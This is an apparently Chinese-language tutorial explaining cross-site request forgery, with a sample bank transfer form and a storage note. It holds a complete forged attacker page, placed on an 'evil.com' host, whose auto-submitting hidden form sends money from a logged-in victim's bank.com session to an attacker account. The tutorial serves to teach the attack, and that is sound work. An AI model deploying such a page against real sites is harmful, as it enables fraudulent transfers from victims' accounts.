CSRF(cross-site request forgery)跨域请求访问

CSRF 当我们在成功登录一个网站后,会将后端返回的cookie数据进行存放,每一次访问该域名都会将cookie存放在请求头,也就相当于用户登录凭证,

但这种同域自动携带cookie存在一种问题 那就是当恶意网站也进去请求时,同样可伪造成正在登录的用户。

www.bank.com

html 复制代码
<!-- /transfer-form 页面上的代码 -->
<form method="post" action="/transfer">
  <input type="hidden" name="csrfToken" value="abc123xyz789" />
  <input type="text" name="amount" placeholder="金额" />
  <input type="text" name="routingNumber" placeholder="路由号" />
  <input type="text" name="account" placeholder="账户" />
  <input type="submit" value="Transfer" />
</form>

伪造页面

该请求携带cookie的数据

html 复制代码
<!-- 假设放在攻击者的站点 evil.com -->
<html>
  <body>
    <h1>你中奖了!点击下方领取奖金!</h1>
    <form method="post" action="https://bank.com/transfer">
      <input type="hidden" name="amount" value="100.00" />
      <input type="hidden" name="routingNumber" value="999999" />
      <input type="hidden" name="account" value="attackerAccount123" />
      <input type="submit" value="Win Money!" />
    </form>
    <script>
      // 自动提交:用户无需点击任何按钮,访问即发起转账
      document.forms[0].submit();
    </script>
  </body>
</html>

那能获取本地存储(localStorage)和会话存储(sessionStorage)的数据吗

首先说一下这两者的特点

本地存储长期存在我们的浏览器,及时浏览器关闭也不会丢失。

会话存储仅在当前tab中有效,tab关闭我们的数据也就随之丢失了

但两者有个共同特点 仅在当前域下可以访问。

所以CSRF 攻击主要依赖于 Cookie ,因为浏览器会自动发送它,攻击者无法直接操控 localStoragesessionStorage 来发起 CSRF 请求。

相关推荐
智能相对论2 小时前
当雷达学会“读心术” 汽车舱内安全迈入新纪元
安全·汽车
上海云盾第一敬业销售4 小时前
高防IP是怎么防御的?高防IP的防御步骤又有哪些?
运维·网络·安全
安 当 加 密10 小时前
固件签名技术深度解析:HSM模块如何守护设备安全,CAS系统如何赋能产业升级
安全
白山云北诗12 小时前
深度解读云防火墙(WAF):守护网络安全的智能卫士
安全·web安全·防火墙·waf·云防火墙·web应用防火墙
douluo99812 小时前
老飞飞bug及原理修复方法
安全·web安全
忘川w15 小时前
《网络安全与防护》知识点复习
笔记·安全·web安全·网络安全
银空飞羽16 小时前
总结一下最近学习到的MCP风险问题(杂谈)
安全·mcp·trae
m0_6948455716 小时前
日本云服务器租用多少钱合适
linux·运维·服务器·安全·云计算
小锋学长生活大爆炸17 小时前
【教程】Windows安全中心扫描设置排除文件
windows·安全·系统·扫描·病毒·安全中心
liulilittle18 小时前
通过高级处理器硬件指令集AES-NI实现AES-256-CFB算法并通过OPENSSL加密验证算法正确性。
linux·服务器·c++·算法·安全·加密·openssl